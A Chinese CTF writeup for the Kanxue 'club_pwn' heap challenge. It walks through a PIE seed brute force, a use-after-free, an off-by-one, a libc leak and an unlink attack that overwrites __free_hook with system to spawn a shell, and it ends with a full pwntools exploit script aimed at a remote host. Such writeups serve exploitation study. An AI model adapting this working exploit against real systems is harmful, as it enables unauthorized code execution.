看雪CTF 第四题club_pwn writeup

前几天做了看雪ctf的一道pwn题,但是工作比较忙,一直没时间写wp,今天有空了,把wp补上

据说这题出题人出题失误,导致题目难度大大下降,预期是house_of_orange的,但是利用unlink就能做了

获取ELF基地址

程序中有一个猜随机数的功能,代码大致逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
*seed = &seed;
srand(&seed);
......
v1 = rand();
puts("Please input the number you guess:");
printf("> ");
if ( v1 == sub_AFA() )
result = printf("G00dj0b!You get a secret: %ld!\n", *&seed);
else
result = printf("Wr0ng answer!The number is %d!\n", v1);
return result;
.bss:0000000000202148 seed

使用seed变量的地址作为伪随机数生成器的种子, 因为这个程序开启了PIE保护,所以实际上每次程序运行,种子都是不一样的, 然后随机生成一个数让你猜,猜对了告诉你种子,猜错了告诉你这个随机数

如果我们能得到种子,因为ELF基地址和seed地址的偏移值是固定的,所以我们就能算出ELF的基地址了

然后去翻阅了下random的源码:https://code.woboq.org/userspace/glibc/stdlib/random.c.html

1
2
3
4
5
6
7
8
9
207 void __srandom (unsigned int x)
209 {
210 __libc_lock_lock (lock);
211 (void) __srandom_r (x, &unsafe_state);
212 __libc_lock_unlock (lock);
213 }
214
215 weak_alias (__srandom, srandom)
216 weak_alias (__srandom, srand)

发现,__srandom的参数是无符号整型,长度只有32bit

虽然开了PIE,但ELF的基地址因为系统页对其的原因,最后12bit固定是0,所以,我们只需要爆破20bit,这是非常容易的,下面是部分payload代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def get_rand_num():
guess_num(123)
r.readuntil("is ")
random_num = int(r.readuntil("!")[:-1])
return random_num
def get_elf_base(random_num):
guess_num(random_num)
r.readuntil("secret:")
elf_base = int(r.readuntil("!")[:-1])
return elf_base-seed_address
def guest(random_num):
seed_base = 0x202148
libc = cdll.LoadLibrary("libc.so.6")
for x in xrange(0x10000000, 0xfffff000, 0x1000):
libc.srand(x+seed_base)
if libc.rand() == random_num:
next_randnum = libc.rand()
break
return next_randnum
def main():
random_num = get_rand_num()
next_randnum = guest(random_num)
elf_base = get_elf_base(next_randnum)
print "get ELF base address: 0x%x"%elf_base

因为python的random和c的是不一样的,所以这里使用ctypes去调用libc中的random

ELF中的漏洞

最关键的一个就是有一个bool标志位,默认值是0,表示该box没有malloc,当malloc后标志位会设置为1,但是当free后,却没有把标志位清零,这就导致可以无限free,一个被free的box,也可以修改和输出box的内容

另一个关键的漏洞是修改box内容的函数中存在off by one

1
2
3
4
5
6
7
for ( i = 0; dword_202090[v3] >= i; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(i + qword_202100[v3]) = buf;
}

如果长度有24的box,却可以输入25个字符

还有一个也算漏洞的是再show message函数中,输出使用了puts,输出是根据\x00判断结尾,而不是长度,而在修改message的函数中也没有在用户输入的数据结尾加\x00,所以有可能导致信息泄露,不过这个漏洞对我来说不重要,我的利用方法中,不包含其信息泄露的利用

获取LIBC基地址

泄露LIBC地址的思路很简单,上面说了当一个box被free后因为标志位没有被清零,所以任然可以往里面写数据,输出数据。

如果我们free一个非fast chunk的chunk,也就是说free一个chunk size大于maxfastsize的chunk,将会和unsortbin形成双链表,这个时候的结构如下:

prev size chunk size
fd bk

这个时候fd和bk都指向arena中的top_chunk指针,我们能通过输出该box获取到该地址,然后根据偏移值计算出libc的基地址,部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_libc_base():
free_box(3)
show_message(3)
data = r.readuntil("You")[:-3].strip()
top = u64(data+"\x00\x00")
return top - top_chunk
def main():
....
create_box(1, 24)
create_box(2, 168)
create_box(3, 184)
create_box(4, 200)
libc_base = get_libc_base()
print "get libc base address: 0x%x"%libc_base

free的那个box不能是最后一个chunk,否则会和top chunk合并

unlink利用

网上很多unlink的文章,我就不细说了,简单的来说就是要过一个判断,执行一个指令

需要过一个判断:

1
2
P->fd->bk == P
P->bk->fd == P

执行一个指令

1
2
3
4
FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD

当利用之前的代码,泄露完libc地址后,堆布局是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0x555555757410: 0x0000000000000000 0x0000000000000021 <- box1
0x555555757420: 0x0000000000000000 0x0000000000000000
0x555555757430: 0x0000000000000000 0x00000000000000b1 <- box2
0x555555757440: 0x0000000000000000 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000000
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000000000
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x00000000000000c1 <- box3
0x5555557574f0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757500: 0x0000000000000000 0x0000000000000000
0x555555757510: 0x0000000000000000 0x0000000000000000
0x555555757520: 0x0000000000000000 0x0000000000000000
0x555555757530: 0x0000000000000000 0x0000000000000000
0x555555757540: 0x0000000000000000 0x0000000000000000
0x555555757550: 0x0000000000000000 0x0000000000000000
0x555555757560: 0x0000000000000000 0x0000000000000000
0x555555757570: 0x0000000000000000 0x0000000000000000
0x555555757580: 0x0000000000000000 0x0000000000000000
0x555555757590: 0x0000000000000000 0x0000000000000000
0x5555557575a0: 0x00000000000000c0 0x00000000000000d0 <- box4
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x0000000000000000

然后在.bss段有个地方储存着box的地址:

1
2
3
4
pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000 0x0000555555757420
0x555555756110: 0x0000555555757440 0x5555557574f0
0x555555756120: 0x00005555557575b0 0x0000000000000000

因为在free box函数的代码中,有一个判断:

1
2
if ( !dword_202130[v1] || dword_2020B0[v1] )
return puts("You can not destroy the box!");

而dword_2020B0是已经初始化过,然后没有代码修改过的变量

1
.data:00000000002020B0 dword_2020B0 dd 2 dup(1), 2 dup(0), 2 dup(1)

扩展开了就是[1, 1, 0, 0, 1, 1]

所以只有2, 3两个box能被free

在之前已经free过了box3,如果再次free box3,无法触发unlink操作,unlink操作只有在前一个或者后一个chunk未被使用时才会触发,所以我们需要通过free box2来进行触发unlink操作

通过leave message函数来构造一个堆结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> x/64gx 0x555555757410
0x555555757410: 0x0000000000000000 0x0000000000000021
0x555555757420: 0x0000000000000000 0x0000000000000000
0x555555757430: 0x0000000000000000 0x00000000000000c1 修改长度为0xc1
0x555555757440: 0x0000000000000000 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000000
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000000000
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x00000000000000c1
0x5555557574f0: 0x00007ffff7dd1b78 0x00000000000000b1 构造成一个新的堆,长度为0xb1
0x555555757500: 0x0000555555756100 0x0000555555756108 构造fd和bk
0x555555757510: 0x0000000000000000 0x0000000000000000
0x555555757520: 0x0000000000000000 0x0000000000000000
0x555555757530: 0x0000000000000000 0x0000000000000000
0x555555757540: 0x0000000000000000 0x0000000000000000
0x555555757550: 0x0000000000000000 0x0000000000000000
0x555555757560: 0x0000000000000000 0x0000000000000000
0x555555757570: 0x0000000000000000 0x0000000000000000
0x555555757580: 0x0000000000000000 0x0000000000000000
0x555555757590: 0x0000000000000000 0x0000000000000000
0x5555557575a0: 0x00000000000000b0 0x00000000000000d0 修改prev_size为0xb0
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x0000000000000000
0x5555557575d0: 0x0000000000000000 0x0000000000000000
0x5555557575e0: 0x0000000000000000 0x0000000000000000
0x5555557575f0: 0x0000000000000000 0x0000000000000000
0x555555757600: 0x0000000000000000 0x0000000000000000

构造了一个fd和bk指向存储box 地址的.bss段,这样就能构成一个双链表,bypass unlink的check:

1
2
P->fd->bk == P
P->bk->fd == P

不过这个时候如果free box2,会报错退出,报错的内容是 free(): corrupted unsorted chunks

去源码中搜一下该error的check:

1
2
3
4
4248 bck = unsorted_chunks(av);
4249 fwd = bck->fd;
4250 if (__glibc_unlikely (fwd->bk != bck))
4251 malloc_printerr ("free(): corrupted unsorted chunks")

bck指向unsortbin,所以fwd指向box3,然而box3的bk已经被构造成了新chunk的size位,所以报错退出了

这个时候只需要在free box2之前,malloc一个box5,这样将会把unsortbin中的box3分类到smallbin中,从而bypass unsortbin check

利用

在free box2之后,内存大致如下:

1
2
3
4
pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000 0x0000555555757420
0x555555756110: 0x0000555555757440 0x0000555555756100
0x555555756120: 0x00005555557575b0 0x0000555555757680

box3的地址已经指向该bss段,从而我们已经可以做到任意地址写了

我的利用思路是,把box 2修改为free_hook的地址,然后把box 0修改为/bin/sh\0正好8byte,这样box 3就是一个/bin/sh字符串了

我们只需要在free_hook中写上system的地址,调用free(box 3),则相当于调用system(“/bin/sh\0”),从而达到getshell

完整payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
from ctypes import cdll
DEBUG = 1
if DEBUG:
context.log_level = "debug"
r = process("./club")
e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
r = remote("123.206.22.95", 8888)
e = ELF("./libc.so.6")
malloc_hook = e.symbols['__malloc_hook']
free_hook = e.symbols['__free_hook']
system_address = e.symbols['system']
top_chunk = malloc_hook + 0x68
seed_address = 0x202148
addr_list = 0x202100
one_gadget = 0xf0274
puts_got = 0x202028
def create_box(n, l):
r.readuntil(">")
r.sendline("1")
r.readuntil(">")
r.sendline(str(n))
r.readuntil(">")
r.sendline(str(l))
def free_box(n):
r.readuntil(">")
r.sendline("2")
r.readuntil(">")
r.sendline(str(n))
def leave_message(n, msg):
r.readuntil(">")
r.sendline("3")
r.readuntil(">")
r.sendline(str(n))
r.sendline(msg)
def show_message(n):
r.readuntil(">")
r.sendline("4")
r.readuntil(">")
r.sendline(str(n))
def guess_num(n):
r.readuntil(">")
r.sendline("5")
r.readuntil(">")
r.sendline(str(n))
def get_rand_num():
guess_num(123)
r.readuntil("is ")
random_num = int(r.readuntil("!")[:-1])
return random_num
def guest(random_num):
seed_base = 0x202148
libc = cdll.LoadLibrary("libc.so.6")
for x in xrange(0x10000000, 0xfffff000, 0x1000):
libc.srand(x+seed_base)
if libc.rand() == random_num:
next_randnum = libc.rand()
break
return next_randnum
def get_elf_base(random_num):
guess_num(random_num)
r.readuntil("secret:")
elf_base = int(r.readuntil("!")[:-1])
return elf_base-seed_address
def get_libc_base():
free_box(3)
show_message(3)
data = r.readuntil("You")[:-3].strip()
top = u64(data+"\x00\x00")
return top - top_chunk
def main():
random_num = get_rand_num()
next_randnum = guest(random_num)
elf_base = get_elf_base(next_randnum)
print "get ELF base address: 0x%x"%elf_base
create_box(1, 24)
create_box(2, 168)
create_box(3, 184)
create_box(4, 200)
libc_base = get_libc_base()
create_box(5, 300)
print "get libc base address: 0x%x"%libc_base
set_list2_size = p64(0xc1)*3 + "\xc1"
leave_message(1, set_list2_size)
set_list3 = p64(0) + p64(0xb1) + p64(elf_base+addr_list) + p64(elf_base+addr_list+8)
set_list3 += "a"*0x90+p64(0xb0)
leave_message(3, set_list3)
free_box(2)
write_address_list = "/bin/sh\x00" + "a"*8 + p64(libc_base+free_hook)
leave_message(3, write_address_list)
leave_message(2, p64(libc_base+system_address))
free_box(3)
# leave_message(3, "aaaaaaaa")
# show_message(3)
r.interactive()
if __name__ == '__main__':
main()

总结

unlink原理很早我就知道了,但是却是第一次实践,理论和实际还是差很大的,所以我踩了挺多的坑,花了挺多的时间

我还考虑过fastbin的double free的利用,但是失败了……

文章目录
  1. 1. 获取ELF基地址
  2. 2. ELF中的漏洞
  3. 3. 获取LIBC基地址
  4. 4. unlink利用
  5. 5. 利用
  6. 6. 总结